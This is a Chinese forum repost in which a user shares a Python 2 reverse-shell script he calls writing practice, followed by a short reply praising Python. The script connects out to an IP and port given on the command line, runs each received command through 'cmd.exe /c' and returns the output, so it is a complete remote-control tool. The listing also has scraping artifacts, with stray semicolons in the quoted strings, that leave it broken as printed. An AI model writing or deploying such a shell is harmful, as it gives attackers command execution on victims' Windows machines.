返回列表 发帖

[转帖]python写的反向shell

最近在复习python,顺便写了一个简单的反向shell。。纯粹是为了练笔。。因为python大部分都存在于linux/unix中,在windows中很少有安装python(尤其是服务器,除非web是python写的)。但我这个shell是一个windows的shell,不过稍加一改就可以在linux/unix下运行了。。。 拿出来怕大家笑话,不过对于那些想学python却还犹豫不决的朋友一个直观的印象吧。。。总之python确实可以称得上世界上最棒的脚本语言,我想它的应用会越来越广泛。。。 下面是代码,高手不要笑我了。。(要知道我能厚者脸皮拿出来,也是经过一番撕心裂肺的斗争的~~:——))
  1. #!/usr/bin/python
  2. import sys
  3. import os
  4. from socket import *
  5. import string
  6. def usage(name):
  7. print ';\t\tPython connect back shell\n\n';
  8. print ';\t\t superlone@EST\n\n';
  9. print ';Usage:\n\t %s <connect back ip> <connect back port>\n'; % name
  10. if len(sys.argv)==1 or len(sys.argv)>3:
  11. usage(sys.argv[0])
  12. sys.exit(0)
  13. conIP=sys.argv[1]
  14. conPort=int(sys.argv[2])
  15. welcome=';\t\t[welcome to the way home]\n';
  16. try:
  17. sock=socket(AF_INET,SOCK_STREAM)
  18. sock.connect((conIP,conPort))
  19. except:
  20. print ';[-]Socket Error!\n';
  21. sys.exit(0)
  22. sock.send(welcome)
  23. prompt=';superlone>';
  24. while 1:
  25. sock.send(prompt)
  26. while 1:
  27. data=sock.recv(1024)
  28. if data:break
  29. if data[:-1]==';exit';:
  30. sock.send(';bye bye';)
  31. sock.close()
  32. sys.exit(0)
  33. if data[:-1]==';pwd';:
  34. sock.send(os.getcwd()+';\n';)
  35. for i in range(len(data.split())):
  36. if ';cd'; in data.split():
  37. try:
  38. os.chdir(data.split()[i+1])
  39. except:
  40. sock.send(';dir change failed!\n';)
  41. rpipe=os.popen(';cmd.exe /c ';+data[:-1])
  42. sdata=rpipe.read()
  43. rpipe.close()
  44. sock.send(sdata)
复制代码

[转帖]python写的反向shell

在网络编程中python确实比Java简洁,也没有Perl繁琐的语法

TOP

返回列表 回复 发帖